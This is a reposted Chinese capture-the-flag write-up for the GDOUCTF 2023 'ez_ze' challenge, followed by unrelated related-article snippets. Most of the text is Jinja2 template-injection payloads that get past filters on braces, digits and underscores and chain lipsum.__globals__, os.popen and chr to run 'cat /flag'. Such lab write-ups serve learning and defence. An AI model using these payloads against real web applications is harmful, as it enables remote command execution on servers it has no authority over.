[GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号、数字被过滤绕过(ctfshow web入门370)-CSDN博客

ssti板块注入

正好不会 {%%}的内容 学习一下

经过测试 发现过滤了 {{}}

那么我们就开始吧

我们可以通过这个语句来查询是否存在ssti

{%if 条件%}result{%endif%}解释一下 如果条件里为真 就输出 result 否则不输出修改一下
{%if not a%}yes{%endif%}第二种{%print 123%}通过输出123来判断

 

存在咯

这里跟着师傅的wp走 他那边过滤了数字 我们也来看看

获取数字

{%set one=dict(c=a)|join|count%}{%set two=dict(cc=a)|join|count%}{%set three=dict(ccc=a)|join|count%}

这里就可以获取数字

但是这道题不需要

然后我们首先确定一下我们需要的payload

(lipsum|attr("__globals__").get("os").popen("cat /flag").read()

 

这个时候我们需要获取_通过lipsum|string|list

这个时候可以通过 pop方法

 获取_

先需要获取pop

pop方法可以根据索引值来删除列中的某个元素并将该元素返回值返回。
{%set pop=dict(pop=a)|join%}

{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)%}{%print xiahuaxian%}然后我们数 可以发现 _ 在24 所以我们索引即可{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}{%print xiahuaxian%}

 

成功获取

然后获取golbals

name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print globals%}

获取os

首先需要获取get

{%set get=dict(get=a)|join%}{%print get%}

然后

然后我们可以获取os

{%set shell=dict(o=a,s=b)|join%}{%print shell%}

获取popen

{%set popen=dict(pop=a,en=b)|join%}{%print popen%}

过滤了 改名字就可以了

{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%print lipsum|attr(globals)|attr(get)(shell)|attr(pp)%}

成功获取咯

获取chr

首先要获取__builtins__


{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print builtins%}

获取chr


{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%print char%}

成功

然后就是通过char拼接命令

?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set%20get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
{%print command%}

然后就是获取read

获取read

name={%set read=dict(read=a)|join%}{%print read%}

最后就是拼接执行命令

name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
{%set read=dict(read=a)|join%}{%print (lipsum|attr(globals))|attr(get)(shell)|attr(pp)(command)|attr(read)()%}

确实学到了 但是这个太麻烦了 这个是很极端的我们这道题没有过滤这么多

正常来

{% set pop=dict(pop=1)|join %}   {% set kong=(lipsum|string|list)|attr(pop)(9) %}{% set xhx=(lipsum|string|list)|attr(pop)(18) %}{% set re=(config|string|list)|attr(pop)(239) %}{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}{% set geti=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join %}{% set o=dict(o=a,s=b)|join %}{% set po=dict(pop=a,en=b)|join %}{% set cmd=(dict(cat=a)|join,kong,re,dict(flag=a)|join)|join %}{% set read=dict(read=a)|join %}{% print(lipsum|attr(globals)|attr(geti)(o)|attr(po)(cmd)|attr(read)()) %}这里原型是lipsum.__globals__.getitem[os].popen(cat flag).read()类似于这种

 真是一个恐怖的ssti

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/131711.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

免费亲人微信聊天记录提取软件新版本v1.1,使用说明,注意事项 2023.11.06

V 1.1 优化了备份速度,新增了备份消息类型的选型,可以选择仅仅备份文本,或者文本与音频,或者文本音频视频图片。 有什么办法可以导出与某个人的微信聊天记录? 只想导出与某个微信好友的聊天记录,有办法做到…

内网服务器(不通外网)访问高德在线地图服务的方法

在项目部署过程中,若部署服务器处于内网环境,则无法调用高德服务。需要通过搭建代理实现请求的转发,从而获取到在线服务内容。下面的记录解决了内网服务器访问高德地图服务的问题。 一、所需设备 内网服务器(项目所需部署环境&a…

运维知识点-MySQL从小白到入土

MySQL从小白到入土 mysql 服务器安装windows mysql 服务漏洞复现-mysql jdbc反序列化-权限绕过 mysql 服务器安装 https://dev.mysql.com/downloads/mysql/https://www.cnblogs.com/xiaostudy/p/12262804.html 点餐小程序腾讯云服务器安装mysql8 windows mysql 服务 net sta…

1.UML面向对象类图和关系

文章目录 4种静态结构图类图类的表示类与类之间的关系依赖关系(Dependency)关联关系(Association)聚合(Aggregation)组合(Composition)实现(Realization)继承/泛化(Inheritance/Generalization)常用的UML工具reference欢迎访问个人网络日志🌹🌹知行空间🌹🌹 4种静态结构…

cp没有--exclude选项!Linux复制文件夹时如何排除一些文件?

之前使用tar命令压缩文件将时,使用了–exclude选项排除了一些不需要的文件。现在我想复制一个文件夹,但是其中一些文件不需要复制,此时注意到cp命令居然没有–exclude选项。 rsync可以快速地帮助我们完成相同的事情,命令如下&…

rust 基础数据类型

默认类型 大部分情况下,rust 可以基于上下文自动推导出变量的类型。下面代码中,变量 x 没有显式,rust 默认是 i32 类型。 fn main() {let x 5; }但也有一些例外情况,比如,字符串类型的转换中变量 x 的类型&#xff…

【Java 进阶篇】JSP 简单入门

在现代Web开发中,JavaServer Pages(JSP)是一项非常重要的技术。JSP允许开发者将Java代码嵌入HTML页面,以实现动态内容的生成和呈现。本文将详细介绍JSP的概念、原理以及如何使用JSP来构建Web应用程序。 第一部分:JSP …

如何将 XxlJob 集成达梦数据库

1. 前言 在某些情况下,你的项目可能会面临数据库选择的特殊要求,随着国产化的不断推进,达梦数据库是一个常见的选择。本篇博客将教你如何解决 XxlJob 与达梦数据库之间的 SQL 兼容性问题,以便你的任务调度系统能够在这个数据库中…

章鱼网络进展月报 | 2023.10.1-10.31

章鱼网络大事摘要 1、Louis 成功竞选 NDC 的 HoM 议席,将会尽最大努力推动 NEAR 变革。2、章鱼网络受邀参加在土耳其主办的 Cosmoverse2023,分享 Adaptive IBC 的技术架构。3、2023年10月8日章鱼日,是章鱼网络主网上线2周年的纪念日。 …

机器学习---SVM目标函数求解,SMO算法

1. 线性可分支持向量机 1.1 定义输入数据 假设给定⼀个特征空间上的训练集为: 其中,(x , y )称为样本点。 x 为第i个实例(样本)。 y 为x 的标记: 当y 1时,x 为正例;当y −1时,x…

vue3项目实践

创建 vue3 项目 node本版:node 16.x.x, 脚手架:create-vue 脚手架工具,底层vite 创建vue3项目:npm init vuelatest setup函数 vue3 单文件组件 1、vite.config.js配置文件基于vite的配置 2、template模板不再要求唯…

NOIP2023模拟10联测31 游戏

题目大意 Alice \text{Alice} Alice和 Bob \text{Bob} Bob在玩一个游戏:有一个由正整数组成的集合 S S S,两人轮流从中选数, Alice \text{Alice} Alice先手。每次一个人可以从当前集合中选一个数 x x x,把 x x x以及 x x x在集合中…

docker compose实现容器编排

Compose 使用的三个步骤: 使用 Dockerfile 定义应用程序的环境 使用 compose.yml 定义构成应用程序的服务,这样它们可以在隔离环境中一起运行 最后,执行 docker compose up 命令来启动并运行整个应用程序 为什么需要docker compose Dock…

使用VBA打印PDF文件

使用VBA打印工作表和工作簿文件都很容易实现,但是有时需要使用VBA打印已经保存在本机的其他文件,例如PDF文件格式的账单,如果这个PDF并非由Excel生成的那么就无法使用前述方法实现。 调用Windows的Shell命令可以实现打印PDF文件。 示例代码…

万宾科技管网水位监测助力智慧城市的排水系统

以往如果要了解城市地下排水管网的水位变化,需要依靠人工巡检或者排查的方式,这不仅加大了人员的工作量,而且也为市政府带来了更多的工作难题。比如人员监管监测不到位或无法远程监控等情况,都会降低市政府对排水管网的管理能力&a…

SpringBoot配置文件优先级

1.idea临时属性 说明:Program arguments配置--server.port8082 --ab;意思是将端口改成了8082。这个优先级最高。 2.resource 说明:创建config文件里面的yml文件。 3.jar包同级(yml) 说明:创建一个yml文件…

如何去除视频水印?三种简便有效的方法解决视频水印问题

在当今社交媒体时代,视频分享已成为一种流行趋势。然而,很多人在分享自己的作品时却苦于视频上存在的水印,水印通常是出于版权保护或品牌推广的目的而添加到视频中的,但有时它们可能会对用户体验造成负面影响。 如果您正在寻找如何…

golang gorm通过泛型实现通用单表增删改

golang gorm通过泛型实现通用单表增删改 无废话,直接上代码 想实现通用,首先得实现查询的通用,可以用传递map实现 func Where(where map[string]interface{}) func(db *gorm.DB) *gorm.DB {return func(db *gorm.DB) *gorm.DB {dbTmp : db…

Linux 脚本周期性监控进程是否存在,不存在就启动

以监控节点上的“Elasticsearch”进程为例,下面的脚本实现了周期性监控该进程是否存在,不存在就执行对应命令启动进程功能。 #!/bin/bash# 设置要检查的进程名称 PROCESS_NAME"Elasticsearch"# 定义一个函数来检查进程是否运行 check_process…

渗透工具使用及思路总结(持续更新)

扫描类 nmap 快速扫描开放端口 nmap --min-rate 10000 -p- 10.129.252.63扫描详细全服务 nmap -sV -A -p 22,80 10.129.252.63 nmap -sV -A -p- 10.129.252.63-l:显示正在监听的 TCP 和 UDP 端口; -a:显示所有活动的 TCP 连接; -A <网络类型>或 - <网络类型&g…